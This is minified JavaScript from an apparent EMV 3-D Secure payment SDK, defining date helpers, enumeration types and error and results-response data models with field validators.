DateUtils.stringToDate=function(a,b){if(null===ObjectUtils.normalize(a)||null===ObjectUtils.normalize(b))return null;var c=a.replace(/[^a-zA-Z0-9]/g,"-"),d=b.replace(/[^a-zA-Z0-9]/g,"-"),e=d.split("-"),f=c.split("-");if(1===f.length&&1===e.length){if(c.length!==d.length)return null;var g=null,k=null;f=[];e=[];d+=" ";c+=" ";for(var h=0;h<d.length;h++)k!==d[h]&&(null!==g&&(f.push(c.substring(g,h)),e.push(d.substring(g,h))),g=h),k=d[h]}var m=e.indexOf("MM");h=e.indexOf("dd");k=e.indexOf("yyyy");var l=
e.indexOf("yy");g=e.indexOf("HH");c=e.indexOf("mm");e=e.indexOf("ss");d=new Date;-1<l&&(f[l]="20"+f[l],k=l);k=-1<k?f[k]:d.getFullYear();m=-1<m?f[m]-1:d.getMonth()-1;h=-1<h?f[h]:d.getDate();g=-1<g?f[g]:d.getHours();c=-1<c?f[c]:d.getMinutes();f=-1<e?f[e]:d.getSeconds();return new Date(k,m,h,g,c,f)};
DateUtils.dateToString=function(a,b){return a instanceof Date?b.replace(/[^a-zA-Z0-9]/g,"-").replace(/MM/,DateUtils.zeroPadString(a.getMonth()+1)).replace(/dd/,DateUtils.zeroPadString(a.getDate())).replace(/yyyy/,String(a.getFullYear())).replace(/yy/,String(a.getFullYear()).substring(2)).replace(/HH/,DateUtils.zeroPadString(a.getHours())).replace(/mm/,DateUtils.zeroPadString(a.getMinutes())).replace(/ss/,DateUtils.zeroPadString(a.getSeconds())):null};
DateUtils.isDate=function(a){return a instanceof Date};DateUtils.zeroPadString=function(a){if(null===ObjectUtils.normalize(a))return null;a=("number"===typeof a?a:parseInt(a)).toString();return 2<=a.length?a:"0"+a};EMVErrorMessage.prototype=NDObject.create(Convertible.prototype);EMVErrorMessage.prototype.getFieldMetadata=function(){return EMVErrorMessage.FieldMetadata};EMVErrorMessage.prototype.getErrorCode=function(){return this.errorCode};
EMVErrorMessage.prototype.setErrorCode=function(a){this.errorCode=a};EMVErrorMessage.prototype.getErrorDescription=function(){return this.errorDescription};EMVErrorMessage.prototype.setErrorDescription=function(a){this.errorDescription=a};EMVErrorMessage.prototype.getErrorDetails=function(){return this.errorDetails};EMVErrorMessage.prototype.setErrorDetails=function(a){this.errorDetails=a};EMVErrorMessage.prototype.getTransactionID=function(){return this.transactionID};
EMVErrorMessage.prototype.setTransactionID=function(a){this.transactionID=a};EMVErrorMessage.fromJson=function(a){var b=new EMVErrorMessage;JsonSerializer.readJsonIntoInstance(b,a);return b};EMVErrorMessage.fromMap=function(a){var b=new EMVErrorMessage;(new JsonSerializer).readMapIntoInstance(b,a,a);return b};EMVErrorMessage.FieldMetadata={};for(key in Convertible.FieldMetadata)Convertible.FieldMetadata.hasOwnProperty(key)&&(EMVErrorMessage.FieldMetadata[key]=Convertible.FieldMetadata[key]);
EMVErrorMessage.FieldMetadata.errorCode=(new FieldMetadata).setValueRetriever(function(a){return a instanceof EMVErrorMessage?a.getErrorCode():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof EMVErrorMessage&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setErrorCode(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,String,"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MIN_LENGTH,
1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
EMVErrorMessage.FieldMetadata.errorDescription=(new FieldMetadata).setValueRetriever(function(a){return a instanceof EMVErrorMessage?a.getErrorDescription():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof EMVErrorMessage&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setErrorDescription(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,String,
"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
EMVErrorMessage.FieldMetadata.errorDetails=(new FieldMetadata).setValueRetriever(function(a){return a instanceof EMVErrorMessage?a.getErrorDetails():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof EMVErrorMessage&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setErrorDetails(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,String,"String")?
a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
EMVErrorMessage.FieldMetadata.transactionID=(new FieldMetadata).setValueRetriever(function(a){return a instanceof EMVErrorMessage?a.getTransactionID():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof EMVErrorMessage&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setTransactionID(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,String,"String")?
a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());AuthenticationType.prototype=NDObject.create(Enumerable.prototype);
AuthenticationType.VALUES={};AuthenticationType.fromString=function(a){if("undefined"===typeof AuthenticationType.VALUES[a])throw new IllegalArgumentException("value is not a valid AuthenticationType value.");return AuthenticationType.VALUES[a]};AuthenticationType.fromObject=function(a){return null!==ObjectUtils.normalize(a)&&"undefined"===typeof AuthenticationType.VALUES[a]?new AuthenticationType(TextUtils.stringify(a),!1):AuthenticationType.VALUES[a]};
AuthenticationType.STATIC=new AuthenticationType("01",!0);AuthenticationType.DYNAMIC=new AuthenticationType("02",!0);AuthenticationType.OOB=new AuthenticationType("03",!0);AuthenticationType.DECOUPLED=new AuthenticationType("04",!0);AuthenticationType.RESERVED80=new AuthenticationType("80",!0);AuthenticationType.RESERVED81=new AuthenticationType("81",!0);AuthenticationType.RESERVED82=new AuthenticationType("82",!0);AuthenticationType.RESERVED83=new AuthenticationType("83",!0);
function nsfoehwx(a,b){return a===b?!0:!1}AuthenticationType.RESERVED84=new AuthenticationType("84",!0);AuthenticationType.RESERVED85=new AuthenticationType("85",!0);AuthenticationType.RESERVED86=new AuthenticationType("86",!0);AuthenticationType.RESERVED87=new AuthenticationType("87",!0);AuthenticationType.RESERVED88=new AuthenticationType("88",!0);AuthenticationType.RESERVED89=new AuthenticationType("89",!0);AuthenticationType.RESERVED90=new AuthenticationType("90",!0);
AuthenticationType.RESERVED91=new AuthenticationType("91",!0);function EMVRuntimeErrorEvent(){Convertible.call(this);this.errorMessage=this.errorCode=null;Interface.implement(this,ISyncable)}AuthenticationType.RESERVED92=new AuthenticationType("92",!0);AuthenticationType.RESERVED93=new AuthenticationType("93",!0);AuthenticationType.RESERVED94=new AuthenticationType("94",!0);AuthenticationType.RESERVED95=new AuthenticationType("95",!0);AuthenticationType.RESERVED96=new AuthenticationType("96",!0);
AuthenticationType.RESERVED97=new AuthenticationType("97",!0);AuthenticationType.RESERVED98=new AuthenticationType("98",!0);AuthenticationType.RESERVED99=new AuthenticationType("99",!0);WhitelistStatus.prototype=NDObject.create(Enumerable.prototype);WhitelistStatus.VALUES={};WhitelistStatus.fromString=function(a){if("undefined"===typeof WhitelistStatus.VALUES[a])throw new IllegalArgumentException("value is not a valid WhitelistStatus value.");return WhitelistStatus.VALUES[a]};
WhitelistStatus.fromObject=function(a){return null!==ObjectUtils.normalize(a)&&"undefined"===typeof WhitelistStatus.VALUES[a]?new WhitelistStatus(TextUtils.stringify(a),!1):WhitelistStatus.VALUES[a]};WhitelistStatus.WHITELISTED=new WhitelistStatus("Y",!0);WhitelistStatus.NOT_WHITELISTED=new WhitelistStatus("N",!0);function Filter(){ValidationResult.call(this);this.mFilteredValue=null;this.mFilteredValueSet=!1}
function XMLHttpRequestConnection(){INdsConnection.call(this);"undefined"!==typeof XMLHttpRequest&&(this.mXhr=new XMLHttpRequest,this.withCredentials=!1)}function Type(){}WhitelistStatus.NOT_ELIGIBLE=new WhitelistStatus("E",!0);WhitelistStatus.PENDING_CONFIRMATION=new WhitelistStatus("P",!0);WhitelistStatus.REJECTED=new WhitelistStatus("R",!0);WhitelistStatus.UNKNOWN=new WhitelistStatus("U",!0);ApiVersionType.prototype=NDObject.create(Enumerable.prototype);ApiVersionType.VALUES={};
ApiVersionType.fromString=function(a){if("undefined"===typeof ApiVersionType.VALUES[a])throw new IllegalArgumentException("value is not a valid ApiVersionType value.");return ApiVersionType.VALUES[a]};ApiVersionType.fromObject=function(a){return null!==ObjectUtils.normalize(a)&&"undefined"===typeof ApiVersionType.VALUES[a]?new ApiVersionType(TextUtils.stringify(a),!1):ApiVersionType.VALUES[a]};ApiVersionType.V1=new ApiVersionType("V1",!0);ApiVersionType.V2=new ApiVersionType("V2",!0);
ThreeDSError.prototype=NDObject.create(Convertible.prototype);ThreeDSError.prototype.getFieldMetadata=function(){return ThreeDSError.FieldMetadata};ThreeDSError.prototype.getThreeDSServerTransID=function(){return this.threeDSServerTransID};function MsgType(a,b){Enumerable.call(this,a,MsgType.VALUES,b);b&&(MsgType.VALUES[a]=this)}ThreeDSError.prototype.setThreeDSServerTransID=function(a){this.threeDSServerTransID=a};ThreeDSError.prototype.getAcsTransID=function(){return this.acsTransID};
ThreeDSError.prototype.setAcsTransID=function(a){this.acsTransID=a};ThreeDSError.prototype.getDsTransID=function(){return this.dsTransID};ThreeDSError.prototype.setDsTransID=function(a){this.dsTransID=a};ThreeDSError.prototype.getErrorCode=function(){return this.errorCode};ThreeDSError.prototype.setErrorCode=function(a){this.errorCode=a};ThreeDSError.prototype.getErrorComponent=function(){return this.errorComponent};ThreeDSError.prototype.setErrorComponent=function(a){this.errorComponent=a};
ThreeDSError.prototype.getErrorDescription=function(){return this.errorDescription};ThreeDSError.prototype.setErrorDescription=function(a){this.errorDescription=a};ThreeDSError.prototype.getErrorDetail=function(){return this.errorDetail};ThreeDSError.prototype.setErrorDetail=function(a){this.errorDetail=a};ThreeDSError.prototype.getErrorMessageType=function(){return this.errorMessageType};ThreeDSError.prototype.setErrorMessageType=function(a){this.errorMessageType=a};
ThreeDSError.prototype.getMessageType=function(){return this.messageType};function Init(){}ThreeDSError.prototype.setMessageType=function(a){this.messageType=a};ThreeDSError.prototype.getMessageVersion=function(){return this.messageVersion};ThreeDSError.prototype.setMessageVersion=function(a){this.messageVersion=a};ThreeDSError.prototype.getSdkTransID=function(){return this.sdkTransID};ThreeDSError.prototype.setSdkTransID=function(a){this.sdkTransID=a};
ThreeDSError.fromJson=function(a){var b=new ThreeDSError;JsonSerializer.readJsonIntoInstance(b,a);return b};ThreeDSError.fromMap=function(a){var b=new ThreeDSError;(new JsonSerializer).readMapIntoInstance(b,a,a);return b};ThreeDSError.FieldMetadata={};for(key in Convertible.FieldMetadata)Convertible.FieldMetadata.hasOwnProperty(key)&&(ThreeDSError.FieldMetadata[key]=Convertible.FieldMetadata[key]);function CountryCode(a){CustomConvertible.call(this);this.setValue(a||null)}
ThreeDSError.FieldMetadata.threeDSServerTransID=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ThreeDSError?a.getThreeDSServerTransID():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ThreeDSError&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,UUID,"UUID")&&(a.setThreeDSServerTransID(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){var b=new UUID;b.setRawValue(a);return b}).enableSerialization().setFieldType(Init.Type.UUID).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ThreeDSError.FieldMetadata.acsTransID=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ThreeDSError?a.getAcsTransID():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ThreeDSError&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,UUID,"UUID")&&(a.setAcsTransID(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){var b=new UUID;b.setRawValue(a);return b}).enableSerialization().setFieldType(Init.Type.UUID).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ThreeDSError.FieldMetadata.dsTransID=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ThreeDSError?a.getDsTransID():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ThreeDSError&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,UUID,"UUID")&&(a.setDsTransID(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){var b=new UUID;b.setRawValue(a);return b}).enableSerialization().setFieldType(Init.Type.UUID).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ThreeDSError.FieldMetadata.errorCode=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ThreeDSError?a.getErrorCode():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ThreeDSError&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,ErrorCode,"ErrorCode")&&(a.setErrorCode(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return ErrorCode.fromObject(a)}).enableSerialization().setFieldType(Init.Type.ErrorCode).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).addProperty(Property.ALLOW_EMPTY,
!1).build());function TransactionReason(a,b){Enumerable.call(this,a,TransactionReason.VALUES,b);b&&(TransactionReason.VALUES[a]=this)}
ThreeDSError.FieldMetadata.errorComponent=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ThreeDSError?a.getErrorComponent():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ThreeDSError&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,ErrorComponent,"ErrorComponent")&&(a.setErrorComponent(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return ErrorComponent.fromObject(a)}).enableSerialization().setFieldType(Init.Type.ErrorComponent).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).addProperty(Property.ALLOW_EMPTY,
!1).build());
ThreeDSError.FieldMetadata.errorDescription=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ThreeDSError?a.getErrorDescription():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ThreeDSError&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setErrorDescription(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,String,"String")?
a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).addProperty(Property.ALLOW_EMPTY,!1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,2048).addProperty(Property.MIN_LENGTH,1).build());
function UUID(a){CustomConvertible.call(this);this.setValue(a||null)}function SupportedVersionsResponse(){APIResponse.call(this);this.dsIdentifier=this.aCSVersion=this.messageExtension=this.dsEndProtocolVersion=this.dsStartProtocolVersion=this.threeDSMethodURL=this.acsEndProtocolVersion=this.acsStartProtocolVersion=this.threeDSServerTransID=this.threeDSServerEndVersion=this.threeDSServerStartVersion=null;Interface.implement(this,ISyncable)}
ThreeDSError.FieldMetadata.errorDetail=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ThreeDSError?a.getErrorDetail():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ThreeDSError&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setErrorDetail(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,String,"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).addProperty(Property.ALLOW_EMPTY,
!1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,2048).addProperty(Property.MIN_LENGTH,1).build());
ThreeDSError.FieldMetadata.errorMessageType=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ThreeDSError?a.getErrorMessageType():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ThreeDSError&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,MsgType,"MsgType")&&(a.setErrorMessageType(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MsgType.fromObject(a)}).enableSerialization().setFieldType(Init.Type.MsgType).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ThreeDSError.FieldMetadata.messageType=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ThreeDSError?a.getMessageType():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ThreeDSError&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,MsgType,"MsgType")&&(a.setMessageType(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MsgType.fromObject(a)}).enableSerialization().setFieldType(Init.Type.MsgType).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ThreeDSError.FieldMetadata.messageVersion=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ThreeDSError?a.getMessageVersion():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ThreeDSError&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,MessageVersionType,"MessageVersionType")&&(a.setMessageVersion(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MessageVersionType.fromObject(a)}).enableSerialization().setFieldType(Init.Type.MessageVersionType).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ThreeDSError.FieldMetadata.sdkTransID=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ThreeDSError?a.getSdkTransID():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ThreeDSError&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,UUID,"UUID")&&(a.setSdkTransID(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){var b=new UUID;b.setRawValue(a);return b}).enableSerialization().setFieldType(Init.Type.UUID).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
TernaryYesNoUnavailable.prototype=NDObject.create(Enumerable.prototype);TernaryYesNoUnavailable.VALUES={};TernaryYesNoUnavailable.fromString=function(a){if("undefined"===typeof TernaryYesNoUnavailable.VALUES[a])throw new IllegalArgumentException("value is not a valid TernaryYesNoUnavailable value.");return TernaryYesNoUnavailable.VALUES[a]};
TernaryYesNoUnavailable.fromObject=function(a){return null!==ObjectUtils.normalize(a)&&"undefined"===typeof TernaryYesNoUnavailable.VALUES[a]?new TernaryYesNoUnavailable(TextUtils.stringify(a),!1):TernaryYesNoUnavailable.VALUES[a]};TernaryYesNoUnavailable.UNAVAILABLE=new TernaryYesNoUnavailable("U",!0);TernaryYesNoUnavailable.YES=new TernaryYesNoUnavailable("Y",!0);TernaryYesNoUnavailable.NO=new TernaryYesNoUnavailable("N",!0);ResultsResponse.prototype=NDObject.create(APIResponse.prototype);
ResultsResponse.prototype.getFieldMetadata=function(){return ResultsResponse.FieldMetadata};function ThreeDSRequest(a){this.headers={};this.encodedBody=null;this.withCredentials=!1;this.bodyMap="string"===typeof a?JSON.parse(a):a||{}}ResultsResponse.prototype.getThreeDSServerTransID=function(){return this.threeDSServerTransID};ResultsResponse.prototype.setThreeDSServerTransID=function(a){this.threeDSServerTransID=a};ResultsResponse.prototype.getDsTransID=function(){return this.dsTransID};
ResultsResponse.prototype.setDsTransID=function(a){this.dsTransID=a};ResultsResponse.prototype.getAcsTransID=function(){return this.acsTransID};ResultsResponse.prototype.setAcsTransID=function(a){this.acsTransID=a};ResultsResponse.prototype.getAuthenticationValue=function(){return this.authenticationValue};ResultsResponse.prototype.setAuthenticationValue=function(a){this.authenticationValue=a};ResultsResponse.prototype.getChallengeCancel=function(){return this.challengeCancel};
ResultsResponse.prototype.setChallengeCancel=function(a){this.challengeCancel=a};ResultsResponse.prototype.getEci=function(){return this.eci};ResultsResponse.prototype.setEci=function(a){this.eci=a};ResultsResponse.prototype.getInteractionCounter=function(){return this.interactionCounter};ResultsResponse.prototype.setInteractionCounter=function(a){this.interactionCounter=a};ResultsResponse.prototype.getMessageCategory=function(){return this.messageCategory};
ResultsResponse.prototype.setMessageCategory=function(a){this.messageCategory=a};ResultsResponse.prototype.getTransStatus=function(){return this.transStatus};ResultsResponse.prototype.setTransStatus=function(a){this.transStatus=a};function ValidationResult(){this.mFailures=[]}ResultsResponse.prototype.getTransStatusReason=function(){return this.transStatusReason};ResultsResponse.prototype.setTransStatusReason=function(a){this.transStatusReason=a};
ResultsResponse.fromJson=function(a){var b=new ResultsResponse;JsonSerializer.readJsonIntoInstance(b,a);return b};ResultsResponse.fromMap=function(a){var b=new ResultsResponse;(new JsonSerializer).readMapIntoInstance(b,a,a);return b};ResultsResponse.FieldMetadata={};for(key in APIResponse.FieldMetadata)APIResponse.FieldMetadata.hasOwnProperty(key)&&(ResultsResponse.FieldMetadata[key]=APIResponse.FieldMetadata[key]);
ResultsResponse.FieldMetadata.threeDSServerTransID=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ResultsResponse?a.getThreeDSServerTransID():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ResultsResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,UUID,"UUID")&&(a.setThreeDSServerTransID(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){var b=new UUID;b.setRawValue(a);
return b}).enableSerialization().setFieldType(Init.Type.UUID).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).addProperty(Property.ALLOW_EMPTY,!1).build());
ResultsResponse.FieldMetadata.dsTransID=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ResultsResponse?a.getDsTransID():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ResultsResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,UUID,"UUID")&&(a.setDsTransID(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){var b=new UUID;b.setRawValue(a);return b}).enableSerialization().setFieldType(Init.Type.UUID).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).addProperty(Property.ALLOW_EMPTY,
!1).build());
ResultsResponse.FieldMetadata.acsTransID=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ResultsResponse?a.getAcsTransID():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ResultsResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,UUID,"UUID")&&(a.setAcsTransID(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){var b=new UUID;b.setRawValue(a);return b}).enableSerialization().setFieldType(Init.Type.UUID).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).addProperty(Property.ALLOW_EMPTY,!1).build());
ResultsResponse.FieldMetadata.authenticationValue=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ResultsResponse?a.getAuthenticationValue():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ResultsResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,Base64,"Base64")&&(a.setAuthenticationValue(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){var b=new Base64;b.setRawValue(a);
return b}).enableSerialization().setFieldType(Init.Type.Base64).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.LENGTH,28).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ResultsResponse.FieldMetadata.challengeCancel=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ResultsResponse?a.getChallengeCancel():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ResultsResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,CancelIndicator,"CancelIndicator")&&(a.setChallengeCancel(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return CancelIndicator.fromObject(a)}).enableSerialization().setFieldType(Init.Type.CancelIndicator).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ResultsResponse.FieldMetadata.eci=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ResultsResponse?a.getEci():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ResultsResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setEci(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,String,"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.LENGTH,
2).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
